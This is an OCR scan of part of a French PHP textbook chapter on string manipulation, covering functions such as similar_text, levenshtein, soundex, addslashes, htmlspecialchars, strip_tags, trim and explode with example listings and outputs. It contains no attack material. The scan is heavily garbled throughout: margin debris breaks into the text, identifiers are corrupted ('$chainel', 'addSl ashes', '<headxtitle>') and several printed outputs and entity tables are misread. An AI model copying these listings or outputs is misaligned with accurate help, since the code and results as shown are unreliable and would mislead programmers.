Permet de comparer deux chaines en estimant leurs ressemblances. Cette fonction est sensible 
a la casse. 



as =r. 
cj o 



2 ™ 

CO CO 
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Syntaxe int similar_text(string $chainel, string $chaine2, [double 

&$pourcentage]) 

$ c h a i n e 1 Une des deux chaines a comparer. 

$chai ne2 La chaine avec laquelle on veut comparer la premiere. 

$pourcentage Si une reference est passee en parametre, la valeur en % y sera declaree. 

retour Le nombre de caracteres en commun. 

<?php 

$chainel = "Une des chaines a comparer"; 

$chaine2 = "L 1 autre des chaines a comparer"; 

echo similar_text($chainel, $chaine2) ."\n"; 

$pourcentage = 0; 

echo similar_text($chainel, $chaine2, &$pourcentage) . "\n"; 

echo $pourcentage."\n"; 

echo similar_text("aaa", "AAA", &$pourcentage) ."\n"; 

echo $pourcentage."\n"; 

?> 

Voici le resultat obtenu : 

24 

24 

85.714285714286 





jfjk Methode utilisee 

%£/ La methode utilisee est celle de Oliver [1993] qui est decrite a I'adresse suivante : 

INTERN ET http://citeseer.nj.nec.com/oliver93decision.html. 

<u u II existe une autre methode permettant de mesurer la distance entre deux chaines de caracteres, 

= Jj 
o o 



.2- CD 

s= -a 

E CD 

"= «I 
_l CO 



e'est la distance de Levenshtein. Le calcul est ici moins gourmand que le precedent. 



levenshteinQ 



Calcule la distance de Levenshtein entre deux chaines de caracteres. La distance de 
Levenshtein se definit comme etant le plus petit nombre de caracteres a remplacer dans la 
premiere chaine pour obtenir la seconde. 

Syntaxe int levenshtein(string $chainel, string $chaine2 [, int 

$coutInsert, int $coutRemplace, int $coutSupprime]) 

$chainel Chaine a comparer. 

$chaine2 Chaine a comparer. 

$cout!nsert Cout d'une insertion. 
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$coutRempl ace Cout d'un remplacement. 

$coutSupprime Cout d'une suppression. 

retour Distance de Levenshtein, ou 1 si l'une des deux chaines fait plus de 255 

caracteres. 

<?php 

$chainel = "Une des chaines a comparer"; 

$chaine2 = "L'autre des chaTnes a comparer"; 

echo levenshtein($chainel, $chaine2) . "\n"; 

echo levenshtein($chainel, $chaine2, 2, 3, l)."\n"; 

echo levenshtein("aaa", "AAA")."\n"; 

?> 

Voici le resultat obtenu : 

5 

11 

3 



Comparaison phonique 



Les fonctions presentees ici ne permettent pas une comparaison directe, mais permettent de 
definir une valeur basee sur la consonance d'un mot. 



soundexQ 



Permet de calculer une valeur a partir de la prononciation d'une chaine de caracteres. La 
particularite de cette valeur est que deux mots ayant la meme consonance auront le meme 
"soundex". Attention, cette fonction est adaptee a la prononciation anglaise. 

Syntaxe string soundex(string $chaine) 

$ c h a i n e Chaine de caracteres dont on veut calculer la valeur ' s oundex ' . 

retour Le "soundex". 

Listing 7.13 : soundex. php 

<?php 

echo soundex("serial killer"); 

echo "<br />"; 

echo soundex("seriol quilleur"); 

echo "<br />"; 

echo soundex("Welcome") ; 

echo "<br />"; 

echo soundex("ouelcome") ; 

echo "<br />"; 

echo soundex("elephant") ; 



=i m 
as =r. 
e-j o 



2 ™ 

CO CO 
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echo "<br />"; 
echo soundex("elefant") ; 
echo "<br />"; 
echo soundex("elefante") ; 
?> 

Le resultat de ce script est le suivant : 

S642 
S642 
W425 
0425 
E415 
E415 
E415 



metaphoneQ 



Cette fonction est tres similaire a soundex ( ) . Elle a le meme objectif, mais utilise une 
representation et un algorithme differents. 

Syntaxe string metaphone (string $chaine) 

$chai ne Chaine de caracteres dont vous souhaitez le "metaphone". 

retour Une valeur dependant de la facon de prononcer la chaine de caracteres. 

Listing 7.14 : metaphone. php 



killer"); 
eur"); 





<?php 






echo 


metaphone("serial k 


03 a) 


echo 


"<br />"; 


■a >- 
= '3 


echo 


metaphone("seriol q 


o o 


echo 


"<br />"; 


S2 c5 


echo 


metaphone ( "Wei come" 


s o 

.9- a> 


echo 


"<br />"; 


c -a 


echo 


metaphone ( "ouel come 


E a> 


echo 


"<br />"; 


TO <— 

_i ra 


echo 


metaphone ("elephant 


r-^ « 


echo 


"<br />"; 




echo 


metaphone (" el ef ant" 




echo 


"<br />"; 




echo 


metaphone (" el ef ante 



Dont le resultat est : 

SRLKLR 
SRLKLR 

WLKM 
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OLKM 
ELFNT 
ELFNT 
ELFNT 



7.4. Gestion des caracteres speciaux 
Ajout du caractere d'echappement 

II est parfois utile d'encoder des chaines de caracteres. C'est le cas, par exemple, pour echapper 
certains caracteres speciaux. 



addSlashes() 

Permet 1'echappement de certains caracteres. Concretement, il s'agit des caracteres : ' , ■ , \ et 

NUL (\0). 

Syntaxe string addSl ashes (string $chaine) 

$chai ne Chaine de caracteres a modifier. 

retour La chaine avec les caracteres speciaux echappes. 

<?php 

$chaine="C'est \ Cool"; 

echo $chaine; 

echo "\n"; 

echo addSlashes($chaine) ; 
?> 

Voici le resultat obtenu : 

C'est \ Cool 
C\'est \\ Cool 



CT -j 



=i m 
as =r. 

CJ o 



REMARQUE 



magic _quotes_gpc 2>' n 

Par defaut, les 'magic quotes' (apostrophes magiques) sont activees, c'est-d-dire que «° ™ 

les apostrophes sont automatiquement precedees du signe \ lorsque les valeurs sont 
passees a un script par la methode get, post ou par cookie. 



Une fonction tres similaire, appelee quoteMeta ( ) , permet egalement 1'echappement de 
certains caracteres. 
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quoteMeta() 

Permet d'echapper les caracteres :.,\, +,?,*,$, [,],(,). 

Syntaxe string quoteMeta (string $chaine) 

$ c h a i n e Chaine a transformer, 

retour Chaine transformee. 

addCSlashes() 

Retourne une chaine de caracteres en ajoutant des \ devant les caracteres precises. Les 
caracteres ayant un code ASCII inferieur a 32, ou superieur a 126, sont convertis a leur valeur 
octale. 

Syntaxe string addCSl ashes (string $chaine, string $1 isteCaracteres) 

$ c h a i n e Chaine de caracteres a transformer. 

$1 i steCaracteres Liste des caracteres a echapper. 

retour Chaine transformee. 

<?php 

$chaine="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"; 

echo $chaine; 

echo "\n"; 

echo addcslashes($chaine,"A. . z") ; 

echo "\n"; 

echo addcsl ashes ($chaine,"G. . f") ; 
?> 

CD qj 

"O i— 

c '22 Et voici le resultat obtenu : 

o o 
■^ eo 

■§ | ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz 

£■» \A\B\C\D\E\F\G\H\I\J\K\L\M\N\0\P\Q\R\S\T\UW\W\X\Y\Z\a\b\c\d\e\f\g\h\i\j\k\l\m\n 

| "^ \o\p\q\r\s\t\u\v\w\x\y\z 

ABCDEF\G\H\I\J\K\L\M\N\0\P\Q\R\S\T\U\V\W\X\Y\Z\a\b\c\d\e\fghijklmnopqrstuvwxyz 



_l CO 



r- « 



Jy Caracteres speciaux 

^^3 Le fait d'ajouter un \ peut transformer certaines caracteres en caracteres speciaux, 
ATTENTION c es t ^ e cas de 0, a, b, f, n, r, t et v. 



Suppression du caractere d'echappement 

Les fonctions inverses existent bien evidemment. Elles permettent de supprimer les \. 
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stripSlashesO 

Retire les slashes ajoutes par la fonction addsiashes ( ) . 

Syntaxe string stripSlashes(string $chaine) 

$ c h a i n e Chaine de caracteres pour laquelle vous souhaitez retirer les \ . 

retour La chaine sans les \ d'echappement. 

<?php 

$chaine="Cette chaine contient des ' et des \."; 

echo $chaine; 

echo "\n"; 

echo addSlashes($chaine) ; 

echo "\n"; 

echo stripSl ashes (adds 1 as hes($chaine)) ; 
?> 

Ce qui donne en retour : 

Cette chaine contient des ' et des \. 
Cette chaine contient des \" et des \\. 
Cette chaine contient des ' et des \. 

De la meme maniere, le resultat obtenu par addcsiashes ( ) est obtenu par 

stripCSlashes ( ) . 



stripCSlashesO 

Fonction inverse de addcsiashes ( ) . 



CT -J 



Syntaxe string stripCSlashes (string $chaine) cd g 

$chaine Chaine dont vous souhaitez retirer les \ d'echappement. S" — ■ 

retour Chaine sans les \ d'echappement. 2J S - 

as =r. 
2. ° 

Dans l'exemple suivant, nous ne nous sommes pas mefies des caracteres speciaux. Observez le 2?' a. 

resultat obtenu : «« 3? 

<?php 

$chaine="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"; 
echo $chaine; 
echo "\n"; 

echo addCSl ashes ($chaine,"G. . f") ; 
echo "\n"; 

echo stripCSl ashes (addCSl ashes ($chaine,"G. . f")) ; 
?> 
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Resultat obtenu 



ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz 

ABCDEF\G\H\I\J\K\L\M\N\0\P\Q\R\S\T\U\V\W\X\Y\Z\a\b\c\d\e\fghijklmnopqrstuvwxyz 

ABCDEFGHIJKLMNOPQRSTUVWXYZDcdeDghijklmnopqrstuvwxyz 



Conversion des caracteres en code HTML 

Dans le cas de l'ecriture de pages HTML, il peut etre utile de transformer certains caracteres 
speciaux en leurs equivalents HTML. C'est le cas des caracteres &, ", ' , < et >, qui peuvent etre 
remplaces respectivement par &amp ; , &quot ; , &apos ; , &lt ; et &gt ; . 



htmlSpecialChars() 



Retourne une chaine de caracteres pour laquelle les caracteres speciaux de l'HTML ont ete 
convertis. Cela ne concerne pas les caracteres accentues. 

Syntaxe string html Special Chars (string $chaine [, int $apostrophes [, 

string $encodage]]) 

$ c h a i n e Chaine de caracteres a transformer. 

$apostrophes Auchoix: 

ENT_COMPAT (par defaut), pour que cette fonction ne transforme que 
les guillemets et laisse les apostrophes telles quelles. 

ENT_QUOTES, pour transformer les apostrophes et guillemets. 
ENT_NOQUOTES, pour ne transformer ni les apostrophes ni les guillemets. 

$encodage Par defaut il vaut "ISO-8859-1". 

e» u) retour La chaine transformee. 

= -a 

o o 

a. gj ^ Cette fonction est notamment utile pour les forums ou livres d'or, par exemple. En 

effet, si un utilisateur utilise I'un de ces caracteres, il est souhaitable que ceux-ci 
reapparaissent tels quels par la suite. 



REMARQUE 



Voici un exemple : 

Listing 7.15 : htmlspecialchars.php 

<html> 

<headxti tl e>HTMLSpeci al Chars</ti tl ex/head> 

<body> 

<p> 

<?php 

$chaine = "Un message avec du HTML <i> &, e, \" et des ' </i>"; 



388 



Gestion des caracteres speciaux 



echo $chaine."<br />\n"; 
echo htmlspecialchars($chaine) ; 
?> 

</P> 

</body> 

</html> 

Voici le code source obtenu : 

<html> 

<headxti tl e>HTMLSpeci al Chars</ti tl ex/head> 

<body> 

<P> 

Un message avec du HTML <i> &, e, " et des ' </ixbr /> 

Un message avec du HTML <i> &, e, " et des ' &1 t;/i></p> 

</body> 

</html> 

Et, done, le resultat du navigateur : 

Un message avec du HTML &, e, " et des ' 

Un message avec du HTML <i> &, e, " et des ' </i> 

Une autre fonction tres similaire permet de transformer tous les caracteres speciaux en leurs 
equivalents HTML. Elle s'appelle htmlEntities ( ) . 



htmlEntitiesO 



Retourne une chaine de caracteres pour laquelle tous les caracteres speciaux (y compris les 
caracteres accentues) ont ete convertis en leurs equivalents HTML. 



CT -J 



Syntaxe string html Entities(string $chaine[, int $apostrophes [, 22, £J 

string $encodage]]) cd g 

$ c h a i n e Chaine de caracteres a transformer. Jo .= 

$apostrophes Auchoix: 

ENT_COMPAT (par defaut), pour que cette fonction ne transforme que les 
guillemets et laisse les apostrophes telles quelles. 
ENT_QUOTES, pour transformer les apostrophes et les guillemets. 
ENT_NOQUOTES, pour ne transformer ni les apostrophes ni les guillemets. 

$encodage Par defaut, il vaut "ISO-8859-1". 

retour La chaine transformee. 

Voici le script d'exemple : 



=; as 
as =r. 
o o 



5B ™ 

CO CO 
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Listing 7.16 : htmlentities.php 

<html> 

<headxti tl e>HTMLEnti ti es</ti tl ex/head> 

<body> 

<P> 
<?php 

$chaine = "Un message avec du HTML <i> &, e, \" et des ' </i>"; 

echo $chaine."<br />\n"; 

echo html Entities($chaine) ; 
?> 

</P> 

</body> 

</html> 

Voici le resultat obtenu a l'ecran : 

Un message avec du HTML &, e, " et des ' 

Un message avec du HTML <i> &, e, " et des ' </i> 

et voici le code source correspondant : 

<html> 

<headxtitle>HTMLEntities</titlex/head> 

<body> 

<P> 

Un message avec du HTML <i> &, e, " et des ' </ixbr /> 

Un message avec du HTML &1 t ; i> &, Segrave;, " et des ' 

x </i></p> 

</body> 

</html> 



get_html_translation_table () 

Permet de placer, dans un tableau associatif, les tables de conversion des caracteres speciaux en 
leurs equivalent 

htmlEntities ( ) . 



co w leurs equivalents HTML, utilisees par les fonctions htmlspecialchars () et 

E 03 



r-^ « Syntaxe array get_html_transl ation_table(int $table [, int 

$apostrophes]) 

$table Table a recuperer, au choix : 

HTML_ENTITIES, pour la table utilisee par htmlEntities ( ) . 
HTML_SPECIALCHARS, pour la table utilisee par 
htmlSpecialChars ( ) . 

$apostrophes Au choix: 

ENT_COMPAT (par defaut), pour que cette fonction ne transforme que les 
guillemets et laisse les apostrophes telles quelles. 
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ENT_QUOTES, pour transformer les apostrophes et les guillemets. 
ENT_NOQUOTES, pour ne transformer ni les apostrophes ni les guillemets. 

retour Un tableau associatif ayant pour cles les caracteres speciaux, et pour 

valeurs leurs equivalents HTML. 

Void un script d'exemple : 

Listing 7.17 : gethtmltranslationtable.php 

<?php 

print_r(get_html_translation_table(HTML_ENTITIES)); 

print_r(get_html_translation_table(HTML_SPECIALCHARS)); 
?> 

dont le resultat est : 



Array 
( 

[ ] 




=>   


[i] 


=> &iexcl ; 


w 


=> ¢ 


[£] 


=> £ 


["] 


=> ¤ 


[¥] 


=> ¥ 


[i] 


=> ¦ 


[§] 


=> § 


["] 


=> &uml ; 


[•] 


=> © 


[ a ] 


=> ª 


[« ] 


=> Slaquo; 


t^] 


=> ¬ 


[-] 


=> ­ 


[•] 


=> ® 


[-] 


=> ¯ 


[•] 


=> ° 


[±] 


=> ± 


n 


=> ² 


[ 3 ] 


=> ³ 


['] 


=> ´ 


[ni 


=> µ 


m 


=> ¶ 


[•] 


=> · 


u 


=> ¸ 


f] 


=> &supl; 


t°] 


=> º 


[ »] 


=> » 


VM 


=> &fracl4; 


m 


=> &fracl2; 


[%] 


=> ¾ 


w 


=> &i quest; 



OS =r. 

CJ o 



2 ™ 

CO CO 



[A] => À 
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.S- CD 

c -a 

g CO 

E CD 

«° «I 
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[A] 


=> 


Á 


[A] 


=> 


Â 


[A] 


=> 


SAtilde; 


[A] 


=> 


&Auml ; 


[A] 


=> 


Å 


W 


=> 


Æ 


[Q] 


=> 


SCcedil ; 


[E] 


=> 


È 


[E] 


=> 


É 


[E] 


=> 


Ê 


[E] 


=> 


&Euml ; 


[i] 


=> 


Ì 


[i] 


=> 


Í 


[i] 


=> 


Î 


[i] 


=> 


&Iuml ; 


[0] 


=> 


Ð 


[N] 


=> 


Ñ 


[6] 


=> 


&0grave; 


[6] 


=> 


&0acute; 


[6] 


=> 


&0circ; 


[6] 


=> 


&0tilde; 


[6] 


=> 


&0uml ; 


[x] 


=> 


× 


[0] 


=> 


&0slash; 


[U] 


=> 


Ù 


[0] 


=> 


SUacute; 


[0] 


=> 


Û 


[0] 


=> 


&Uuml ; 


[Y] 


=> 


SYacute; 


[►] 


=> 


&TH0RN; 


[15] 


=> 


ß 


[a] 


=> 


à 


[a] 


=> 


á 


[a] 


=> 


â 


[a] 


=> 


ã 


[a] 


=> 


&auml ; 


[a] 


=> 


å 


[*] 


=> 


æ 


M 


=> 


ç 


[e] 


=> 


è 


[e] 


=> 


é 


[e] 


=> 


ê 


[e] 


=> 


&euml ; 


[i] 


=> 


&i grave; 


[1] 


=> 


&i acute; 


[i] 


=> 


î 


[i] 


=> 


&i uml ; 


[9 


=> 


ð 


[n] 


=> 


Sntilde; 


[6] 


=> 


ò 


[6] 


=> 


ó 


[6] 


=> 


ô 



392 



Gestion des caracteres speciaux 



[6] 


=> 


Sotilde; 


[6] 


=> 


&ouml ; 


W 


=> 


÷ 


[0] 


=> 


ø 


[a] 


=> 


ù 


[u] 


=> 


ú 


[Q] 


=> 


û 


[ii] 


=> 


&uuml ; 


[y] 


=> 


ý 


M 


=> 


þ 


[&] 


=> 


& 


["] 


=> 


" 


[<] 


=> 


< 


[>] 

) 

Array 
( 

[&] 


=> 


> 






=> 


& 


["] 


=> 


" 


[<] 


=> 


< 


[>] 


=> 


> 



nl2br() 



Retourne une chaine de caracteres dans laquelle les retours chariot ont ete transformes en 
balises de retours de lignes HTML (<br />). 

Syntaxe string nl2br (string $chaine) 

$ c h a i n e Chaine de caracteres a transformer. 

retour La chaine transformee. o> r- 

CD = 

« 5, 
Listing 7.18 : nl2br.php g- =. 

<html> 2> 5T 

<headxtitle>nl2br</titlex/head> 2. ° 

<body> 5' a. 

CD CD 
<p> «° CO 

<?php 

$chaine = "Un message avec 
des retours 
de ligne"; 

echo $chaine."<br />\n"; 

echo nl2br($chaine) ; 
?> 

</P> 

</body> 

</html> 

393 



CD 03 

= s 

o o 



Chapitre 7 La manipulation des chaines de caracteres 



Voici la sortie a l'ecran : 

Un message avec des retours de ligne 
Un message avec 
des retours 
de ligne 

Et voici le code HTML genere : 

<html> 

<headxt i tl e>nl 2br</ti tl ex/head> 

<body> 

<P> 

Un message avec 

des retours 

de ligne<br /> 

Un message avec 

<br /> 

des retours 

<br /> 

de ligne</p> 

</BODY> 

</HTML> 



Modification depuis PHP 4.3.2 

Le comportement de cette fonction a legerement ete modifie pour supporter tout types 
de retours a la ligne. D'anciens scripts peuvent done se comporter differement sur une 
version recente de PHP. 



Conversion d'un alphabet a un autre 



.| | convert_cyr_string () 

I « 

fc c Retourne une chaine convertie d'un alphabet cyrillique vers un autre. 

_i '(5 

r-^ « Syntaxe string convert_cyr_string (string $chaine, string $depuis, 

string $vers) 

$ c h a i n e Chaine a transformer. 

$depui s Alphabet cyrillique de depart. 

$vers Alphabet cyrillique voulu. 

retour La chaine de caracteres transformee. 

Les valeurs de $depart et $vers sont a prendre parmi les suivantes : 
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Tableau 7.3 : Codes des alphabets cyrilliques 



Code 

k 

w 
i 



Designation 

koi8-r 

windows-1251 

iso8859-5 



a 


x-cp866 


d 


x-cp866 


m 


x-mac-cyrillic 





hebrevQ 



Retourne un texte converti de l'hebreu en texte lisible. Cette fonction n'affecte, hormis les 
caracteres de ponctuation, que les caracteres dont le code ASCII est compris entre 224 et 251. 

Syntaxe string hebrev(string $chaineHebreu [, int 

$caracteresParLi gne] ) ; 

$chai neHebreu Chaine a transformer. 

$caracteres Parti gne Nombre de caracteres maximum par ligne. 

retour La chaine transformee. 



hebrevc() 



Cette fonction a le meme effet que hebrev ( ) , mais transforme, en plus, les caracteres \n en 

<br />\n. 

Syntaxe string hebrevc(string $chaineHebreu [, int 

$caracteresParLi gne] ) ; 

$chai neHebreu Chaine de caracteres a transformer. 

$caracteresParLi gne Nombre de caracteres maximum par ligne. 

retour La chaine transformee. 



=i m 
as =r. 
e-j o 



2 ™ 

CO CO 



7.5. Manipulation des balises HTML 



Une fonction tres utile permet de supprimer les balises PHP et HTML pour, par exemple, 
retirer les balises ajoutees par des visiteurs d'un forum. Elle s'appelle strip_tags ( ) . 
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strip_tags() 

Retourne une chaine de caracteres pour laquelle les balises PHP et HTML ont ete supprimees. 

Syntaxe string strip_tags (string $chaine[, string $bal isesPermises]) 

$ c h a i n e Chaine de caracteres a transformer. 

$bal isesPermises Chaine composee de la concatenation des balises HTML a ne pas 
supprimer. 

retour La chaine transformed. 

Voici un petit exemple : 

<?php 

$chaine="Du texte avec <b>du gras</b>, <i>de 1 ' ital ique</i> et du 

x <u>soul igné</u>"; 

echo $chaine. "\n<br />"; 

echo strip_tags($chaine) ."\n<br />"; 

echo strip_tags($chaine,"<b>") ."\n<br />"; 

echo strip_tags($chaine,"<bxu>") ."\n<br />"; 

?> 

dont voici le resultat : 

Du texte avec <b>du gras</b>, <i>de 1 'italique</i> et du <u>souligné</u> 

<br />Du texte avec du gras, de l'i tali que et du souligné 

<br />0u texte avec <b>du gras</b>, de l'i tali que et du souligné 

<br />Du texte avec <b>du gras</b>, de l'italique et du <u>souligné</u> 

<br /> 

^j) Amelioration depuis PHP 4.3.2 

v> M **^ Cette fonction a ete amelioree et gere mieux les signes '<' et '>' qui ne sont pas des 

£ „ REMARQUE te& 

= B 
o o 



get_meta_tags() (ne fonctionne pas sous Windows) 



Br CD 

s= -a 

E CD 

_l CO 

r~: o Permet d'extraire les balises d'une chaine de caracteres, et de les mettre dans un tableau. 

Syntaxe array get_meta_tags (string $nomFichier [, boolean 

$cheminInclusion]) 

$nomFichier Nom du fichier a traiter. 

$cheminInclusion TRUE si le fichier doit etre recherche dans les chemins standard 
d'inclusion. 

retour Tableau associatif ayant pour cles les noms des balises "meta" et, pour 

valeurs, les contenus des attributs "content" de ces memes balises. 



396 



Manipulation des balises HTML 



Voici un script d'exemple suivi du fichier de test : 

Listing 7.19 : getjnetajags.php 

<?php 

$tableau = get_meta_tags( "test. html ") ; 

print_r($tableau) ; 
?> 

Le fichier de test : 



Listing 7.20 : test.html 

<head> 

<meta name="author" content="Damien, Laurent, PEM et Thomas"> 

<meta name="tags" content="Livre PHP"> 

</head> 

Et le resultat obtenu : 

Array 

( 

[author] => Damien , Laurent, PEM et Thomas 
[tags] => Livre PHP 

) 



Suppression des espaces 



Certaines fonctions permettent d'effacer les espaces superflues en debut et/ou fin de chaines de 
caracteres. 



trim() 

Retourne une chaine de caracteres sans les espaces (ou autres caracteres) de debut et de fin. 
Syntaxe string trim(string $chaine [, string $1 isteCaracteres] ) 



CT -J 



CD = 

en -J 



=i m 
as =r. 
cj o 



$ chaine Chaine de caracteres a transformer. *> v> 

$1 i steCaracteres Caracteres a supprimer (cette option n'existe que depuis la version 4.1.0 
dePHP). 

retour La chaine transformee. 

Par defaut, voici un tableau des caracteres supprimes : 
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Tableau 7.4 : Caracteres supprimes par defaut 



Caractere 


Code ASCII (en 


decimal 


puis 


hexadecimal) 


Description 


\o 


(0x00) 








Caractere nul. 


\t 


9 (0x09) 








Tabulation horizontal. 


\n 


10(0x0A) 








Nouvelle ligne. 


\xOB 


11 (OxOB) 








Tabulation verticale. 


\r 


1 3 (OxOD) 








Retour chariot. 


(espace) 


32 (0x20) 








Caractere 
d'espacement. 



Voici un script d'exemple : 

Listing 7.21 : trim.php 

<?php 

$chaine="\t\t 

\t Le texte important 

\t\t"; 

echo "ChaTne de depart:\n"; 

echo $chaine. "\n"; 

echo "ChaTne apres avoir utilise la fonction trim() sans parametre:\n"; 

echo trim($chaine) ."\n"; 

echo "ChaTne apres avoir utilise la fonction trim() avec parametre:\n"; 

echo trim($chaine,"\t") ."\n"; 

?> 



CD qj 

"O i— 

<= B 

o o 



B- CD 

c -a 

E CD 

"= «I 
_l CO 



Et voici le resultat obtenu (pour qu'il soit lisible, nous avons remplace manuellement les 
tabulations par \t : 

ChaTne de depart: 

\t\t 

\t Le texte important 

\t\t 
ChaTne apres avoir utilise la fonction trim() sans parametre: 
Le texte important 
ChaTne apres avoir utilise la fonction trim() avec parametre: 



\t Le texte important 
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ltrim() 



Retourne une chaine de caracteres dans laquelle toutes les espaces (ou autres caracteres) de 
debut de chaine ont ete supprimees. 

Syntaxe string 1 trim(string $chaine [, string $1 isteCaracteres] ) 

$ c h a i n e Chaine de caracteres a transformer. 

$1 i steCaracteres Caracteres a supprimer (cette option n'existe que depuis la version 4.1.0 
de PHP). 

retour La chaine transformee. 



rtrim() 



Retourne une chaine de caracteres dans laquelle toutes les espaces de fin de chaine ont ete 
supprimees. 

Syntaxe string ltrim(string $chaine[, string $1 isteCaracteres]) 

$ c h a i n e Chaine de caracteres a transformer. 

$1 i steCaracteres Caracteres a supprimer (cette option n'existe que depuis la version 4.1.0 
de PHP). 

retour La chaine transformee. 

rtrim ( ) possede un alias appele chop ( ) . 



Modification de casse 

Pour changer la casse des caracteres, il existe quatre fonctions strToUpper ( ) , strToLower ( ) 

ucFirst ( ) et enfin ucWords ( ) . 

Un script regroupant ces quatre fonctions sera presente apres le detail de celles-ci. 



strToUpper () 

Retourne une chaine dans laquelle tous les caracteres ont ete mis en majuscules. 

Syntaxe string strToUpper (string $chaine) 

$ c h a i n e Chaine de caracteres a transformer, 

retour La chaine transformee en majuscules. 



=i m 
as =r. 
e-j o 



2 ™ 

CO CO 
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strToLower() 



Retourne une chaine dans laquelle tous les caracteres ont ete mis en minuscules. 
Syntaxe string strToLower (string $chaine) 

$ c h a i n e Chaine de caracteres a transformer, 

retour La chaine transformee en minuscules. 



ucFirstQ 



Retourne une chaine de caracteres dans laquelle le premier caractere de la chaine a ete mis en 
majuscule (sans que les autres ne soient changes). 

Syntaxe string ucFirst (string $chaine) 

$ c h a i n e Chaine de caracteres a transformer, 

retour La chaine transformee. 



ucWordsO 



Retourne une chaine de caracteres dans laquelle le premier caractere de chacun des mots a ete 
mis en majuscule (sans que les autres ne soient changes). 

Syntaxe string ucWords (string $chaine) 

$ c h a i n e Chaine de caracteres a transformer, 

retour La chaine transformee. 

CD a} 

"C3 J— 

c ~SZ Voici quelques lignes de code presentant ces fonctions : 



Listing 7.22 : majuscules. php 

<?php 

$chaine="cette ChaiNe serA transFormee."; 

echo strtolower($chaine) ."<br />\n"; 

echo strtoupper($chaine) . "<br />\n"; 

echo ucfirst($chaine) ."<br />\n"; 

echo ucwords($chaine) ."<br />\n"; 
?> 

Et voici le resultat obtenu : 

cette chaine sera transformee. 

CETTE CHAINE SERA TRANSFORMEE. 

Cette ChaiNe serA transFormee. 

Cette ChaiNe SerA TransFormee. 
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7.6. Insertion de motifs 



chunk_split() 

Retourne une chaine de caracteres dans laquelle un motif (par defaut, un re tour a la ligne) a ete 
insere a espaces reguliers. 

Syntaxe string chunck_spl it(string $chaine [, int $pas [, string 

$separateur]]) 

$ c h a i n e Chaine de caracteres a transformer. 

$pas Nombre de caracteres apres lesquels inserer le separateur. (par defaut 73). 

$separateur Caracteres utilises pour separer deux blocs. 

retour La chaine transformee. 

Voici un script d'exemple (tres simple) : 

Listing 7.23 : chunksplit 

<?php 

echo chunk_spl it("abcdefghi jklmnopqrstuvwxyzO 123456789", 6, "<br />\n") ; 

echo chunk_split("alb2233e34",2,":"); 
?> 

Et le resultat obtenu : 

abcdef 
ghijkl 
mnopqr 
stuvwx 
yz0123 
456789 
al:b2:23:3e:34: 



wordwrap () 

Permet d'inserer des coupures regulierement. 

Syntaxe string wordWrap(string $chaine [, int $largeur [, string 

$cassure [, bool $coupure]]]) 

$ c h a i n e Chaine de caracteres a transformer. 

$ 1 argeur Nombre de caracteres apres lesquels inserer les caracteres de cassure (73 

par defaut). 

$ c a s s u r e Chaine de caracteres servant a la cassure ( \ n par defaut) . 

$coup ure Indique si un mot doit etre ou non coupe. 

retour La chaine de caracteres transformee. 



=i m 
cj o 
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str_pad() 

Permet de completer une chaine de caracteres par un motif. 

Syntaxe string str_pad (string $chaine, int $longueurFinale [, string 

$motif [, int $al ignement]]) 

$ c h a i n e Chaine de caracteres a transformer. 

$1 ongueurFi nal e Longueur que fera la chaine de caracteres apres transformation. 

$moti f Motif pour le remplissage (caractere d'espacement par defaut). 

$al ignement Auchoix: 

STR_PAD_RIGHT (par defaut), si le motif doit etre repete a droite de la 

chaine. 

STR_PAD_LEFT, si le motif doit etre repete a gauche de la chaine. 

STR_PAD_BOTH, si le motif doit etre repete de part et d'autre de la chaine. 

retour La chaine de caracteres transformed. 

Voici un script d'exemple tres simple : 

Listing 7.24 : strpad.php 





<?php 










echo 


"[".str pad (' 


'Cool" 


, 10)."]\n"; 




echo 


"[".str pad (' 


'Cool" 


, 10, " ", STR PAD LEFT)."]\n"; 




echo 


"[".str pad (' 


'Cool" 


, 10, " ", STR PAD B0TH)."]\n"; 




echo 
?> 


"[".str pad (' 


'Cool" 


, 10, "-=", STR PAD B0TH)."]\n" 




Et le resultat obtenu : 






CD qj 

"O i— 

= a 

o o 

• — <TT 


[Cool ] 
t Cool] 






La manipulat 
laines de car; 


[ Cool 
[-=-Cool- 

7 7 Pi 


] 
=-] 


i * 





r~ « 



implode () 

Permet, a partir d'un tableau, de reconstituer une chaine de caracteres. 



402 



Fusion et decoupe 



Syntaxe string implode( [string $entreElements,] array $tableau) 

$ent re El ements Chaine de caracteres a placer entre deux elements du tableau. Chaine vide 
par defaut depuis PHP 4.3.0. 

$tabl eau Tableau de chaines de caracteres. 

retour La chaine de caracteres reconstituee. 

Listing 7.25 : explode.php 

<?php 

print_r(explode("\n","Ceci\nest\nune\nphrase en plusieurs\nlignes")) ; 

print(implode(" ", 

explode("\n","Ceci\nest\nune\nphrase en plusieurs\nl ignes"))) ; 
?> 

Voici le resultat de ce script : 

Array 

( 

[0] => Ceci 

[1] => est 

[2] => une 

[3] => phrase en plusieurs 

[4] => 1 ignes 

) 

Ceci est une phrase en plusieurs 1 ignes 



explode () 



Permet de retourner un tableau contenant les morceaux de chaines separes par un delimiteur 
defini par le programmeur. 

Syntaxe array explode(string $separateur, string $chaine [, int 

$1 imite] ) 

$separateur Chaine de caracteres separant les differents blocs. 

$ c h a i n e Chaine de caracteres a transformer. 

$1 i mi te Nombre maximal de blocs, le restant etant mis dans le dernier bloc. 

retour Le tableau indexe en question. 
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strtok() 

Permet de parcourir une chaine morceau par morceau, par appels successifs a la fonction. 
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Syntaxe string strtok (string $chaine, string $separateur) 

$ c h a i n e Chaine de caracteres a parcourir. 

$separateur Definit les caracteres separant deux morceaux ; n'importe lequel des 

caracteres de separation est considere comme une coupure entre deux 
sous-chaines. 

retour Un des morceaux. 

Void quelques exemples : 

Listing 7.26 : strtok.php 

<?php 
//exemple 1 

$sousChaine=strtok("Element 1| El ement 2|Element 3","|"); 

while ($sousChaine) { 

echo $sousChaine."<br />\n"; 

$sousChaine=strtok(" | ") ; 

} 
//exemple 2 

$sousChaine=strtok("Element l|Element 2|Element 3"," |"); 

while ($sousChaine) { 

echo $sousChaine."<br />\n"; 

$sousChaine=strtok(" |"); 

} 
//exemple 3 

echo strtok("Element 1| El ement 2|Element 3","|")."<br />\n"; 

echo strtok(" ")."<br />\n"; 

